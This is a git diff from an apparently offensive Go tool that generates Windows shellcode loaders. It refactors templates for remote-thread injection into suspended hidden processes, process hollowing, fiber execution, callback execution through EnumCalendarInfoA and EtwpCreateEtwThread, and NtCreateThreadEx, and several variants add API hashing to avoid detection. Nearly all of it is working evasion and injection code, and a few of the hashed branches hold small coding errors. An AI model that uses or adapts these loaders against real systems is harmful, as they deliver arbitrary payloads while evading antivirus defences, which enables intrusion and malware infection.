-func ExecuteOrderSixtySix(shellcode []byte) {
+func (t CreateFiberTemplate) Init() string {
+	return ""
+}
 
-    /* convert main thread to fiber */
+func (t CreateFiberTemplate) Process() string {
+	return fmt.Sprintf(`
+	/* convert main thread to fiber */
 	fiberAddr, _, _ := ConvertThreadToFiber.Call()
     if fiberAddr == 0 {
         os.Exit(1)
@@ -60,7 +69,29 @@ func ExecuteOrderSixtySix(shellcode []byte) {
     /* call CreateFiber & switch to the fiber to execute the payload */
     fiber, _, _ := CreateFiber.Call(0, addr, 0)
 	_, _, _ = SwitchToFiber.Call(fiber)
+`)
+}
+
+func (t CreateFiberTemplate) GetTemplate(targetProcess string) string {
+	InformProcessUnused(targetProcess)
+
+	var template = `
+package main
+
+__IMPORT__STATEMENT__
+
+__CONST__STATEMENT__
+
+func ExecuteOrderSixtySix(shellcode []byte) {
+
+__IMPORT__PROCESS__
 
 }
-    `)
+`
+	template = strings.Replace(template, "__IMPORT__STATEMENT__", t.Import(), -1)
+	template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1)
+	template = strings.Replace(template, "__IMPORT__INIT__", t.Init(), -1)
+	template = strings.Replace(template, "__IMPORT__PROCESS__", t.Process(), -1)
+
+	return template
 }
diff --git a/loaders/createRemoteThread.go b/loaders/createRemoteThread.go
@@ -2,18 +2,22 @@ package loaders
 
 import (
 	"fmt"
+	"strings"
 )
 
-func GetCRTTemplate(targetProcess string) string {
-	return fmt.Sprintf(`
-package main
+type CRTTemplate struct{}
 
+func (t CRTTemplate) Import() string {
+	return fmt.Sprintf(`
 import (
     "syscall"
     "unsafe"
 )
+`)
+}
 
-
+func (t CRTTemplate) Const() string {
+	return fmt.Sprintf(`
 const (
     MEM_COMMIT                = 0x1000
     MEM_RESERVE               = 0x2000
@@ -32,8 +36,11 @@ var (
     WriteProcessMemory  = kernel32.MustFindProc("WriteProcessMemory")
     CreateRemoteThread  = kernel32.MustFindProc("CreateRemoteThread")
 )
+`)
+}
 
-
+func (t CRTTemplate) Init() string {
+	return fmt.Sprintf(`
 func loadProcess(target string) *syscall.ProcessInformation {
     var si syscall.StartupInfo
 	var pi syscall.ProcessInformation
@@ -60,11 +67,13 @@ func loadProcess(target string) *syscall.ProcessInformation {
 
 	return &pi
 }
+`)
+}
 
-func ExecuteOrderSixtySix(shellcode []byte) {
-
+func (t CRTTemplate) Process() string {
+	return fmt.Sprintf(`
     /* spawn target process */
-    process := loadProcess("%s")
+    process := loadProcess("__PROCESS__")
     oldProtectCfg := PAGE_READWRITE
 
      /* allocating the appropriate amount of memory */
@@ -96,6 +105,29 @@ func ExecuteOrderSixtySix(shellcode []byte) {
 
     /* load remote thread */
     _, _, _ = CreateRemoteThread.Call(uintptr(process.Process), 0, 0, baseAddr, 0, 0, 0)
+`)
+}
+
+func (t CRTTemplate) GetTemplate(targetProcess string) string {
+	var template = `
+package main
+
+__IMPORT__STATEMENT__
+
+__CONST__STATEMENT__
+
+__IMPORT__INIT__	
+
+func ExecuteOrderSixtySix(shellcode []byte) {
+
+__IMPORT__PROCESS__
+
 }
-    `, targetProcess)
+`
+	template = strings.Replace(template, "__IMPORT__STATEMENT__", t.Import(), -1)
+	template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1)
+	template = strings.Replace(template, "__IMPORT__INIT__", t.Init(), -1)
+	template = strings.Replace(template, "__IMPORT__PROCESS__", t.Process(), -1)
+
+	return strings.Replace(template, "__PROCESS__", targetProcess, -1)
 }
diff --git a/loaders/createRemoteThreadEx.go b/loaders/createRemoteThreadEx.go
@@ -2,68 +2,21 @@ package loaders
 
 import (
 	"fmt"
+	"strings"
 )
 
-func GetCRTxTemplate(targetProcess string) string {
-	return fmt.Sprintf(`
-package main
-
-import (
-    "syscall"
-    "unsafe"
-)
-
-
-const (
-    MEM_COMMIT                = 0x1000
-    MEM_RESERVE               = 0x2000
-    PAGE_READWRITE            = 0x4
-    PAGE_EXECUTE_READ         = 0x20
-    PAGE_EXECUTE_READWRITE    = 0x40
-    CREATE_SUSPENDED          = 0x4
-    CREATE_NO_WINDOW          = 0x8000000
-)
-
-var (
-    kernel32            = syscall.MustLoadDLL("kernel32.dll")
-
-	VirtualAllocEx          = kernel32.MustFindProc("VirtualAllocEx")
-	VirtualProtectEx        = kernel32.MustFindProc("VirtualProtectEx")
-	WriteProcessMemory      = kernel32.MustFindProc("WriteProcessMemory")
-	CreateRemoteThreadEx    = kernel32.MustFindProc("CreateRemoteThreadEx")
-)
-
-func loadProcess(target string) *syscall.ProcessInformation {
-    var si syscall.StartupInfo
-	var pi syscall.ProcessInformation
-
-	commandLine, err := syscall.UTF16PtrFromString(target)
-	if err != nil {
-		panic(err)
-	}
-
-    err = syscall.CreateProcess(
-		nil,
-		commandLine,
-		nil,
-		nil,
-		false,
-		CREATE_SUSPENDED | CREATE_NO_WINDOW,
-		nil,
-		nil,
-		&si,
-		&pi,
-    ); if err != nil {
-		panic(err)
-	}
-
-	return &pi
+type CRTxTemplate struct {
+	CRTTemplate
 }
 
-func ExecuteOrderSixtySix(shellcode []byte){
+func (t CRTxTemplate) Const() string {
+	return strings.Replace(t.CRTTemplate.Const(), "CreateRemoteThread", "CreateRemoteThreadEx", 1)
+}
 
-    /* spawn target process */
-    process := loadProcess("%s")
+func (t CRTxTemplate) Process() string {
+	return fmt.Sprintf(`
+	/* spawn target process */
+    process := loadProcess("__PROCESS__")
     oldProtectCfg := PAGE_READWRITE
 
     /* allocating the appropriate amount of memory */
@@ -103,7 +56,29 @@ func ExecuteOrderSixtySix(shellcode []byte){
         0,
         0,
     )
+`)
+}
+
+func (t CRTxTemplate) GetTemplate(targetProcess string) string {
+	var template = `
+package main
+
+__IMPORT__STATEMENT__
+
+__CONST__STATEMENT__
+
+__IMPORT__INIT__	
+
+func ExecuteOrderSixtySix(shellcode []byte) {
+
+__IMPORT__PROCESS__
+
 }
+`
+	template = strings.Replace(template, "__IMPORT__STATEMENT__", t.CRTTemplate.Import(), -1)
+	template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1)
+	template = strings.Replace(template, "__IMPORT__INIT__", t.CRTTemplate.Init(), -1)
+	template = strings.Replace(template, "__IMPORT__PROCESS__", t.Process(), -1)
 
-    `, targetProcess)
+	return strings.Replace(template, "__PROCESS__", targetProcess, -1)
 }
diff --git a/loaders/createThread.go b/loaders/createThread.go
@@ -2,25 +2,57 @@ package loaders
 
 import (
 	"fmt"
+	"strings"
 )
 
-func GetCreateThreadTemplate(targetProcess string) string {
-	InformProcessUnused(targetProcess)
+type CreateTTemplate struct {
+	UseApiHashing bool
+	HashMethod    string
+}
 
-	return fmt.Sprintf(`
-package main
+func (t CreateTTemplate) Import() string {
+	if t.UseApiHashing {
+		return fmt.Sprintf(`
+import (
+	"fmt"
+	"log"
+	"os"
+	"syscall"
+	"unsafe"
 
+	"github.com/Binject/debug/pe"
+	loader "github.com/cmepw/myph/internals"
+)
+        `)
+	}
+
+	return fmt.Sprintf(`
 import (
 	"syscall"
 	"unsafe"
 )
+`)
+}
 
+func (t CreateTTemplate) Const() string {
+	return fmt.Sprintf(`
 const (
 	MEM_COMMIT             = 0x1000
 	MEM_RESERVE            = 0x2000
 	PAGE_EXECUTE_READWRITE = 0x40
 )
 
+
+`)
+}
+
+func (t CreateTTemplate) Init() string {
+
+	if t.UseApiHashing {
+		return fmt.Sprintf("\n")
+	}
+
+	return fmt.Sprintf(`
 var (
 	kernel32        = syscall.MustLoadDLL("kernel32.dll")
 	ntdll           = syscall.MustLoadDLL("ntdll.dll")
@@ -31,9 +63,92 @@ var (
 
     RtlCopyMemory   = ntdll.MustFindProc("RtlCopyMemory")
 )
+    `)
+}
 
-func ExecuteOrderSixtySix(shellcode []byte) {
+func (t CreateTTemplate) Process() string {
+	if t.UseApiHashing {
+
+		return fmt.Sprintf(`
+    ntdll, err := pe.Open("C:\\Windows\\System32\\ntdll.dll"); if err != nil {
+        fmt.Println(err.Error())
+        os.Exit(1)
+    }
+    defer ntdll.Close()
+
+
+    kernel32, err := pe.Open("C:\\Windows\\System32\\kernel32.dll"); if err != nil {
+        fmt.Println(err.Error())
+        os.Exit(1)
+    }
+    defer kernel32.Close()
+
+
+    var addr uintptr
+	regionsize := uintptr(len(shellcode))
+    VirtualAlloc, err := loader.LoadFunctionFromHash(loader.HashDJB2, "32b0ac787d4dba31", kernel32)
+	if err != nil {
+		log.Fatal(err)
+	}
+
+    addr = loader.HashedCall(
+        VirtualAlloc,
+        0,
+        regionSize,
+        MEM_COMMIT|MEM_RESERVE,
+        PAGE_EXECUTE_READWRITE,
+    )
+
+    if addr == 0 {
+        log.Fatal("Error: null return value")
+    }
+
+    RtlCopyMemory, err := loader.LoadFunctionFromHash(loader.HashDJB2, "7a4c2ed807c8fcf1", ntdll)
+    if err != nil {
+		log.Fatal(err)
+	}
+
+    rvalue := loader.HashedCall(
+        RtlCopyMemory,
+        addr,
+        (uintptr)(unsafe.Pointer(&shellcode[0])),
+        regionsize,
+    ); if addr != 0 {
+        log.Fatal("Error: invalid return value")
+    }
 
+    CreateThread, err := loader.LoadFunctionFromHash(loader.HashDJB2, "65dd5ebc0ad0132a", kernel32)
+    if err != nil {
+		log.Fatal(err)
+	}
+
+    threadAddr := loader.HashedCall(
+        CreateThread,
+        0,
+		0,
+		addr,
+		0,
+		0,
+		0,
+    )
+
+    WaitForSingleObject, err := loader.LoadFunctionFromHash(loader.HashDJB2, "aabf4c35522cfc3e", kernel32)
+    if err != nil {
+		log.Fatal(err)
+    }
+
+
+    loader.HashedCall(
+        WaitForSingleObject,
+        threadAddr,
+        0xFFFFFFFF,
+    )
+
+        `)
+
+	}
+
+	return fmt.Sprintf(`
 	addr, _, _ := VirtualAlloc.Call(
 		0,
 		uintptr(len(shellcode)),
@@ -59,6 +174,31 @@ func ExecuteOrderSixtySix(shellcode []byte) {
         threadAddr,
         0xFFFFFFFF,
     )
+`)
 }
-    `)
+
+func (t CreateTTemplate) GetTemplate(targetProcess string) string {
+	InformProcessUnused(targetProcess)
+
+	var template = `
+package main
+
+__IMPORT__STATEMENT__
+
+__CONST__STATEMENT__
+
+func ExecuteOrderSixtySix(shellcode []byte) {
+
+__IMPORT__INIT__
+
+__IMPORT__PROCESS__
+
+}
+    `
+	template = strings.Replace(template, "__IMPORT__STATEMENT__", t.Import(), -1)
+	template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1)
+	template = strings.Replace(template, "__IMPORT__INIT__", t.Init(), -1)
+	template = strings.Replace(template, "__IMPORT__PROCESS__", t.Process(), -1)
+
+	return strings.Replace(template, "__PROCESS__", targetProcess, -1)
 }
diff --git a/loaders/enumCalendarInfoA.go b/loaders/enumCalendarInfoA.go
@@ -0,0 +1,92 @@
+package loaders
+
+import (
+	"fmt"
+	"strings"
+)
+
+type EnumCalendarTemplate struct {
+}
+
+func (t EnumCalendarTemplate) Import() string {
+	return fmt.Sprintf(`
+import (
+    "syscall"
+    "unsafe"
+)
+`)
+}
+
+func (t EnumCalendarTemplate) Const() string {
+	return fmt.Sprintf(`
+const (
+	MEM_COMMIT             = 0x1000
+	MEM_RESERVE            = 0x2000
+	PAGE_EXECUTE_READWRITE = 0x40
+)
+
+var (
+	kernel32        = syscall.MustLoadDLL("kernel32.dll")
+	ntdll           = syscall.MustLoadDLL("ntdll.dll")
+
+	VirtualAlloc        = kernel32.MustFindProc("VirtualAlloc")
+	EnumCalendarInfoA   = kernel32.MustFindProc("EnumCalendarInfoA")
+	RtlCopyMemory       = ntdll.MustFindProc("RtlCopyMemory")
+
+	LOCALE_USER_DEFAULT = 0x0400
+	ENUM_ALL_CALENDARS  = 0xFFFFFFFF
+	CAL_SMONTHNAME1     = 0x00000015
+)
+`)
+}
+
+func (t EnumCalendarTemplate) Init() string {
+	return ""
+}
+
+func (t EnumCalendarTemplate) Process() string {
+	return fmt.Sprintf(`
+	addr, _, _ := VirtualAlloc.Call(
+		0,
+		uintptr(len(shellcode)),
+		MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE,
+	)
+
+	_, _, _ = RtlCopyMemory.Call(
+		addr,
+		(uintptr)(unsafe.Pointer(&shellcode[0])),
+		uintptr(len(shellcode)),
+	)
+
+	_, _, _ = EnumCalendarInfoA.Call(
+		addr,
+		(uintptr)(LOCALE_USER_DEFAULT),
+		(uintptr)(ENUM_ALL_CALENDARS),
+		(uintptr)(CAL_SMONTHNAME1),
+	)
+`)
+}
+
+func (t EnumCalendarTemplate) GetTemplate(targetProcess string) string {
+	InformProcessUnused(targetProcess)
+
+	var template = `
+package main
+
+__IMPORT__STATEMENT__
+
+__CONST__STATEMENT__
+
+func ExecuteOrderSixtySix(shellcode []byte) {
+
+__IMPORT__PROCESS__
+	
+}
+`
+	template = strings.Replace(template, "__IMPORT__STATEMENT__", t.Import(), -1)
+	template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1)
+	template = strings.Replace(template, "__IMPORT__INIT__", t.Init(), -1)
+	template = strings.Replace(template, "__IMPORT__PROCESS__", t.Process(), -1)
+
+	return template
+}
diff --git a/loaders/enumcalendarinfoa.go b/loaders/enumcalendarinfoa.go
@@ -1,59 +0,0 @@
-package loaders
-
-import (
-	"fmt"
-)
-
-func GetEnumCalendarInfoATemplate(targetProcess string) string {
-	InformProcessUnused(targetProcess)
-
-	return fmt.Sprintf(`
-package main
-
-import (
-	"syscall"
-	"unsafe"
-)
-
-const (
-	MEM_COMMIT             = 0x1000
-	MEM_RESERVE            = 0x2000
-	PAGE_EXECUTE_READWRITE = 0x40
-)
-
-var (
-	kernel32        = syscall.MustLoadDLL("kernel32.dll")
-	ntdll           = syscall.MustLoadDLL("ntdll.dll")
-
-	VirtualAlloc        = kernel32.MustFindProc("VirtualAlloc")
-	EnumCalendarInfoA   = kernel32.MustFindProc("EnumCalendarInfoA")
-	RtlCopyMemory       = ntdll.MustFindProc("RtlCopyMemory")
-
-	LOCALE_USER_DEFAULT = 0x0400
-	ENUM_ALL_CALENDARS  = 0xFFFFFFFF
-	CAL_SMONTHNAME1     = 0x00000015
-)
-
-func ExecuteOrderSixtySix(shellcode []byte) {
-
-	addr, _, _ := VirtualAlloc.Call(
-		0,
-		uintptr(len(shellcode)),
-		MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE,
-	)
-
-	_, _, _ = RtlCopyMemory.Call(
-		addr,
-		(uintptr)(unsafe.Pointer(&shellcode[0])),
-		uintptr(len(shellcode)),
-	)
-
-	_, _, _ = EnumCalendarInfoA.Call(
-		addr,
-		(uintptr)(LOCALE_USER_DEFAULT),
-		(uintptr)(ENUM_ALL_CALENDARS),
-		(uintptr)(CAL_SMONTHNAME1),
-	)
-}
-    `)
-}
diff --git a/loaders/etwpCreateEtwThread.go b/loaders/etwpCreateEtwThread.go
@@ -2,20 +2,22 @@ package loaders
 
 import (
 	"fmt"
+	"strings"
 )
 
-func GetEtwpCreateEtwThreadTemplate(targetProcess string) string {
-	InformProcessUnused(targetProcess)
+type ETWPTemplate struct{}
 
+func (t ETWPTemplate) Import() string {
 	return fmt.Sprintf(`
-package main
-
 import (
     "syscall"
     "unsafe"
 )
+`)
+}
 
-
+func (t ETWPTemplate) Const() string {
+	return fmt.Sprintf(`
 const (
     MEM_COMMIT                = 0x1000
     MEM_RESERVE               = 0x2000
@@ -37,10 +39,16 @@ var (
 	VirtualProtect          = kernel32.MustFindProc("VirtualProtect")
     WaitForSingleObject     = kernel32.MustFindProc("WaitForSingleObject")
 )
+`)
+}
 
+func (t ETWPTemplate) Init() string {
+	return ""
+}
 
-func ExecuteOrderSixtySix(shellcode []byte) {
-    /* allocating the appropriate amount of memory */
+func (t ETWPTemplate) Process() string {
+	return fmt.Sprintf(`
+/* allocating the appropriate amount of memory */
     baseAddr, _, err := VirtualAlloc.Call(
         0,
         uintptr(len(shellcode)),
@@ -68,6 +76,30 @@ func ExecuteOrderSixtySix(shellcode []byte) {
 
     threadId, _, err := EtwpCreateEtwThread.Call(baseAddr, uintptr(0))
     WaitForSingleObject.Call(threadId, 0xFFFFFFFF)
-}
 `)
 }
+
+func (t ETWPTemplate) GetTemplate(targetProcess string) string {
+	InformProcessUnused(targetProcess)
+
+	var template = `
+package main
+
+__IMPORT__STATEMENT__
+
+__CONST__STATEMENT__
+
+func ExecuteOrderSixtySix(shellcode []byte) {
+
+__IMPORT__PROCESS__
+
+}
+`
+	template = strings.Replace(template, "__IMPORT__STATEMENT__", t.Import(), -1)
+	template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1)
+	template = strings.Replace(template, "__IMPORT__INIT__", t.Init(), -1)
+	template = strings.Replace(template, "__IMPORT__PROCESS__", t.Process(), -1)
+
+	return template
+
+}
diff --git a/loaders/ntCreateThreadEx.go b/loaders/ntCreateThreadEx.go
@@ -0,0 +1,253 @@
+package loaders
+
+import (
+	"fmt"
+	"strings"
+)
+
+type NtCreateThreadExTemplate struct {
+	UseApiHashing bool
+	HashMethod    string
+}
+
+func (t NtCreateThreadExTemplate) Import() string {
+	if t.UseApiHashing {
+		return fmt.Sprintf(`
+import (
+	"fmt"
+	"log"
+	"os"
+	"syscall"
+	"unsafe"
+
+	"github.com/Binject/debug/pe"
+	loader "github.com/cmepw/myph/internals"
+)
+        `)
+
+	}
+
+	return fmt.Sprintf(`
+import (
+	"syscall"
+	"unsafe"
+)
+`)
+}
+
+func (t NtCreateThreadExTemplate) Const() string {
+	// same consts with or without API Hashing
+
+	return fmt.Sprintf(`
+const (
+	MEM_COMMIT = 0x1000
+	MEM_RESERVE = 0x2000
+	PAGE_EXECUTE_READ = 0x20
+	PAGE_READWRITE = 0x04
+)
+`)
+}
+
+func (t NtCreateThreadExTemplate) Init() string {
+
+	if t.UseApiHashing {
+		return fmt.Sprintf("\n")
+	}
+
+	return fmt.Sprintf(`
+	ntdll := syscall.MustLoadDLL("ntdll.dll")
+
+    NtAllocateVirtualMemory = ntdll.MustFindProd("NtAllocateVirtualMemory")
+    NtWriteVirtualMemory = ntdll.MustFindProd("NtWriteVirtualMemory")
+    NtProtectVirtualMemory = ntdll.MustFindProd("NtProtectVirtualMemory")
+    NtCreateThreadEx = ntdll.MustFindProd("NtCreateThreadEx")
+`)
+}
+
+func (t NtCreateThreadExTemplate) Process() string {
+	if t.UseApiHashing {
+		return fmt.Sprintf(`
+    ntdll, err := pe.Open("C:\\Windows\\System32\\ntdll.dll"); if err != nil {
+        fmt.Println(err.Error())
+        os.Exit(1)
+    }
+    defer ntdll.Close()
+
+    var addr uintptr
+	regionsize := uintptr(len(shellcode))
+
+    NtAllocateVirtualMemory, err := loader.LoadFunctionFromHash(loader.HashDJB2, "32b0ac787d4dba31", ntdll)
+	if err != nil {
+		log.Fatal(err)
+	}
+
+    rvalue := loader.HashedCall(
+		NtAllocateVirtualMemory,
+		uintptr(0xffffffffffffffff),
+		uintptr(unsafe.Pointer(&addr)),
+		0,
+		uintptr(unsafe.Pointer(&regionsize)),
+		MEM_COMMIT|MEM_RESERVE,
+		PAGE_READWRITE,
+	)
+
+    if rvalue != 0 {
+        fmt.Printf("Return value: %%x\n", rvalue)
+        log.Fatal("Error: non-zero return value")
+    }
+
+    NtWriteVirtualMemory, err := loader.LoadFunctionFromHash(loader.HashDJB2, "9ca2ab4726e0ba31", ntdll)
+	if err != nil {
+		log.Fatal(err)
+	}
+
+    rvalue = loader.HashedCall(
+        NtWriteVirtualMemory,
+		uintptr(0xffffffffffffffff),
+		addr,
+		uintptr(unsafe.Pointer(&shellcode[0])),
+		uintptr(len(shellcode)),
+		0,
+    )
+
+    if rvalue != 0 {
+        fmt.Printf("Return value: %%x\n", rvalue)
+        log.Fatal("Error: non-zero return value")
+    }
+
+	var oldProtect uintptr
+    NtProtectVirtualMemory, err := loader.LoadFunctionFromHash(loader.HashDJB2, "a9a7b2ecdd745a31", ntdll)
+    if err != nil {
+		log.Fatal(err)
+	}
+
+    rvalue = loader.HashedCall(
+        NtProtectVirtualMemory,
+		uintptr(0xffffffffffffffff),
+		uintptr(unsafe.Pointer(&addr)),
+		uintptr(unsafe.Pointer(&regionsize)),
+		syscall.PAGE_EXECUTE_READ,
+		uintptr(unsafe.Pointer(&oldProtect)),
+    )
+
+
+    if rvalue != 0 {
+        fmt.Printf("Return value: %%x\n", rvalue)
+        log.Fatal("Error: non-zero return value")
+    }
+
+	var hhosthread uintptr
+    NtCreateThreadEx, err := loader.LoadFunctionFromHash(loader.HashDJB2, "76d3925c21b6534a", ntdll)
+    if err != nil {
+		log.Fatal(err)
+	}
+
+    rvalue =  loader.HashedCall(
+        NtCreateThreadEx,
+		uintptr(unsafe.Pointer(&hhosthread)),
+		0x1FFFFF,
+		0,
+		uintptr(0xffffffffffffffff),
+		addr,
+		0,
+		uintptr(0),
+		0,
+		0,
+		0,
+		0,
+    )
+
+	syscall.WaitForSingleObject(syscall.Handle(hhosthread), 0xffffffff)
+
+	if rvalue != 0 {
+        fmt.Printf("Return value: %%x\n", rvalue)
+		log.Fatal("non-zero return value returned")
+	}
+
+        `)
+	}
+
+	return fmt.Sprintf(`
+
+    var addr uintptr
+	regionsize := uintptr(len(shellcode))
+
+    rvalue, _, _ := NtAllocateVirtualMemory.Call(
+		uintptr(0xffffffffffffffff),
+		uintptr(unsafe.Pointer(&addr)),
+		0,
+		uintptr(unsafe.Pointer(&regionsize)),
+		MEM_COMMIT|MEM_RESERVE,
+		PAGE_READWRITE,
+	); if rvalue != 0 {
+        fmt.Printf("Return value: %%x\n", rvalue)
+        log.Fatal("Error: non-zero return value")
+    }
+
+    rvalue, _, _ = NtWriteVirtualMemory.Call(
+		uintptr(0xffffffffffffffff),
+		addr,
+		uintptr(unsafe.Pointer(&shellcode[0])),
+		uintptr(len(shellcode)),
+		0,
+    ); if rvalue != 0 {
+        fmt.Printf("Return value: %%x\n", rvalue)
+        log.Fatal("Error: non-zero return value")
+    }
+
+    var oldProtect uintptr
+    NtProtectVirtualMemory.Call(
+		uintptr(0xffffffffffffffff),
+		uintptr(unsafe.Pointer(&addr)),
+		uintptr(unsafe.Pointer(&regionsize)),
+		syscall.PAGE_EXECUTE_READ,
+		uintptr(unsafe.Pointer(&oldProtect)),
+    ); if rvalue != 0 {
+        fmt.Printf("Return value: %%x\n", rvalue)
+        log.Fatal("Error: non-zero return value")
+    }
+
+    var hhosthread uintptr
+    NtCreateThreadEx.Call(
+		uintptr(unsafe.Pointer(&hhosthread)),
+		0x1FFFFF,
+		0,
+		uintptr(0xffffffffffffffff),
+		addr,
+		0,
+		uintptr(0),
+		0,
+		0,
+		0,
+		0,
+    )
+
+    syscall.WaitForSingleObject(syscall.Handle(hhosthread), 0xffffffff)
+    `)
+}
+
+func (t NtCreateThreadExTemplate) GetTemplate(targetProcess string) string {
+	InformProcessUnused(targetProcess)
+
+	var template = `
+package main
+
+__IMPORT__STATEMENT__
+
+__CONST__STATEMENT__
+
+func ExecuteOrderSixtySix(shellcode []byte) {
+
+__IMPORT__INIT__
+
+__IMPORT__PROCESS__
+
+}
+`
+	template = strings.Replace(template, "__IMPORT__STATEMENT__", t.Import(), -1)
+	template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1)
+	template = strings.Replace(template, "__IMPORT__INIT__", t.Init(), -1)
+	template = strings.Replace(template, "__IMPORT__PROCESS__", t.Process(), -1)
+
+	return template
+}
diff --git a/loaders/processHollowing.go b/loaders/processHollowing.go
@@ -2,6 +2,7 @@ package loaders
 
 import (
 	"fmt"
+	"strings"
 )
 
 /*
@@ -12,17 +13,20 @@ import (
    https://github.com/chvancooten/OSEP-Code-Snippets/blob/main/Shellcode%20Process%20Hollowing/Program.cs
 */
 
-func GetProcessHollowingTemplate(targetProcess string) string {
-	return fmt.Sprintf(`
-package main
+type ProcHollowTemplate struct{}
 
+func (t ProcHollowTemplate) Import() string {
+	return fmt.Sprintf(`
 import (
 	"encoding/binary"
 	"syscall"
 	"unsafe"
 )
+`)
+}
 
-
+func (t ProcHollowTemplate) Const() string {
+	return fmt.Sprintf(`
 const (
     CREATE_SUSPENDED          = 0x00000004
     CREATE_NO_WINDOW          = 0x08000000
@@ -53,7 +57,24 @@ type PROCESS_BASIC_INFORMATION struct {
 	UniquePid    uintptr
 	MoreReserved uintptr
 }
+`)
+}
+
+func (t ProcHollowTemplate) Init() string {
+	return ""
+}
+
+func (t ProcHollowTemplate) Process() string {
+	return ""
+}
+
+func (t ProcHollowTemplate) GetTemplate(targetProcess string) string {
+	var template = `
+package main
+
+__IMPORT__STATEMENT__
 
+__CONST__STATEMENT__
 
 func createProcess(processName string) *syscall.ProcessInformation {
     var si syscall.StartupInfo
@@ -83,7 +104,7 @@ func createProcess(processName string) *syscall.ProcessInformation {
 
 
 func ExecuteOrderSixtySix(shellcode []byte) {
-    processName := "%s"
+    processName := "__PROCESS__"
     process := createProcess(processName)
     pHandle := uintptr(process.Process)
     tHandle := uintptr(process.Thread)
@@ -174,5 +195,8 @@ func ExecuteOrderSixtySix(shellcode []byte) {
         panic(err)
     }
 }
-    `, targetProcess)
+    `
+	template = strings.Replace(template, "__IMPORT__STATEMENT__", t.Import(), -1)
+	template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1)
+	return strings.Replace(template, "__PROCESS__", targetProcess, -1)
 }
diff --git a/loaders/syscall.go b/loaders/syscall.go
@@ -2,40 +2,171 @@ package loaders
 
 import (
 	"fmt"
+	"strings"
 )
 
-func GetSyscallTemplate(targetProcess string) string {
-	InformProcessUnused(targetProcess)
+type SysTemplate struct {
+	UseApiHashing bool
+	HashMethod    string
+}
 
-	return fmt.Sprintf(`
-package main
+func (t SysTemplate) Import() string {
+	if t.UseApiHashing {
+		return fmt.Sprintf(`
+import (
+	"fmt"
+	"log"
+	"os"
+	"syscall"
+	"unsafe"
+
+	"github.com/Binject/debug/pe"
+	loader "github.com/cmepw/myph/internals"
+)
+        `)
+
+	}
 
+	return fmt.Sprintf(`
 import (
 	"syscall"
 	"unsafe"
 )
+`)
+}
+
+func (t SysTemplate) Const() string {
+	// same consts with or without API Hashing
 
+	return fmt.Sprintf(`
 const (
 	MEM_COMMIT = 0x1000
 	MEM_RESERVE = 0x2000
 	PAGE_EXECUTE_READ = 0x20
 	PAGE_READWRITE = 0x04
 )
+`)
+}
 
-func ExecuteOrderSixtySix(shellcode []byte) {
+func (t SysTemplate) Init() string {
+
+	if t.UseApiHashing {
+		return fmt.Sprintf("\n")
+	}
 
+	return fmt.Sprintf(`
 	kernel32 := syscall.MustLoadDLL("kernel32.dll")
 	ntdll := syscall.MustLoadDLL("ntdll.dll")
 
 	VirtualAlloc := kernel32.MustFindProc("VirtualAlloc")
 	VirtualProtect := kernel32.MustFindProc("VirtualProtect")
 	RtlCopyMemory := ntdll.MustFindProc("RtlCopyMemory")
+`)
+}
+
+func (t SysTemplate) Process() string {
+	if t.UseApiHashing {
+		return fmt.Sprintf(`
+
+    ntdll, err := pe.Open("C:\\Windows\\System32\\ntdll.dll"); if err != nil {
+        fmt.Println(err.Error())
+        os.Exit(1)
+    }
+    defer ntdll.Close()
+
+
+    kernel32, err := pe.Open("C:\\Windows\\System32\\kernel32.dll"); if err != nil {
+        fmt.Println(err.Error())
+        os.Exit(1)
+    }
+    defer kernel32.Close()
 
+
+    var addr uintptr
+	regionsize := uintptr(len(shellcode))
+    VirtualAlloc, err := loader.LoadFunctionFromHash(loader.HashDJB2, "32b0ac787d4dba31", kernel32)
+	if err != nil {
+		log.Fatal(err)
+	}
+
+    addr = loader.HashedCall(
+        VirtualAlloc,
+        0,
+        regionSize,
+        MEM_COMMIT|MEM_RESERVE,
+        PAGE_READWRITE,
+    )
+
+    if addr == 0 {
+        log.Fatal("Error: null return value")
+    }
+
+    RtlCopyMemory, err := loader.LoadFunctionFromHash(loader.HashDJB2, "7a4c2ed807c8fcf1", ntdll)
+    if err != nil {
+		log.Fatal(err)
+	}
+
+    rvalue := loader.HashedCall(
+        RtlCopyMemory,
+        addr,
+        (uintptr)(unsafe.Pointer(&shellcode[0])),
+        regionsize,
+    ); if addr != 0 {
+        log.Fatal("Error: invalid return value")
+    }
+
+    oldProtect := PAGE_READWRITE
+    VirtualProtect, err := loader.LoadFunctionFromHash(loader.HashDJB2, "7126a1d34679917e", ntdll)
+    if err != nil {
+		log.Fatal(err)
+	}
+
+    rvalue := loader.HashedCall(
+        VirtualProtect,
+        addr,
+        regionsize,
+        PAGE_EXECUTE_READ,
+        uintptr(unsafe.Pointer(&oldProtect)),
+    ); if addr != 0 {
+        log.Fatal("Error: invalid return value")
+    }
+
+    _, _, _ = syscall.SyscallN(addr)
+
+        `)
+	}
+
+	return fmt.Sprintf(`
 	addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
 	_, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
 	oldProtect := PAGE_READWRITE
 	_, _, _ = VirtualProtect.Call(addr, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
-	_, _, _ = syscall.Syscall(addr, 0, 0, 0, 0)
+	_, _, _ = syscall.SyscallN(addr)
+`)
+}
+
+func (t SysTemplate) GetTemplate(targetProcess string) string {
+	InformProcessUnused(targetProcess)
+
+	var template = `
+package main
+
+__IMPORT__STATEMENT__
+
+__CONST__STATEMENT__
+
+func ExecuteOrderSixtySix(shellcode []byte) {
+
+__IMPORT__INIT__
+
+__IMPORT__PROCESS__
+
 }
-    `)
+`
+	template = strings.Replace(template, "__IMPORT__STATEMENT__", t.Import(), -1)
+	template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1)
